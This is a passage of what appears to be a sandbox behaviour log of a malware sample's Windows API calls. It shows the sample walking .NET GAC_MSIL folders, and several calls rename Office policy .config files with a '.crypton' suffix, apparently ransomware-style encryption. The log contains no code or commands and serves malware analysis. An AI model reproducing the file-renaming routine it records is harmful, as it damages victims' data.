ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7fd1f60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.586] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7fd1f60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7fd1f60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.592] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7ff80c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7ff80c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.597] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7ff80c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7ff80c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.602] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7ff80c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7ff80c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.607] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7ff80c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7ff80c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.612] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x801e220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x801e220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.618] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x801e220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x801e220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.623] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x8044380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8044380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.628] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x8044380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8044380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.633] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\MMCEx\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8044380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8044380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.639] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x806a4e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x806a4e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.644] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x806a4e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x806a4e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.649] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x806a4e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x806a4e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.654] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x806a4e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x806a4e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.667] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8090640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8090640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.672] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x80b67a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x80b67a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.677] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x80b67a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x80b67a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.691] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\napinit\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80dc900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x80dc900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.697] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80dc900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x80dc900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.702] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x8102a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8102a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.707] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\6.1.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x8102a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8102a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.712] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\napsnap\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8102a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8102a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.717] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8128bc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8128bc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.722] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x8128bc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8128bc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.727] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x8128bc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8128bc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.733] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Narrator\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x814ed20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x814ed20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.739] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x814ed20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x814ed20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.744] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\office\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5e90710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x814ed20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x814ed20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.750] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b2c3930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8174e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8174e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.756] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6672ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8174e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8174e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.761] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50ff7a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8174e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8174e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.764] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.access\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.access.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.access\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.access.config.crypton"), dwFlags=0x2) returned 1 [0232.770] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa67c9c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x819afe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x819afe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.775] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5221e250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x819afe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x819afe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.779] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.excel\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.excel.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.excel\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.excel.config.crypton"), dwFlags=0x2) returned 1 [0232.785] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa66e5410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81c1140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x81c1140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.790] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c15e70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81c1140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x81c1140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.792] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.graph\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.graph.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.graph\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.graph.config.crypton"), dwFlags=0x2) returned 1 [0232.799] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a2b250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81e72a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x81e72a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.804] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81e72a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x81e72a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.807] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.config" (normalized: 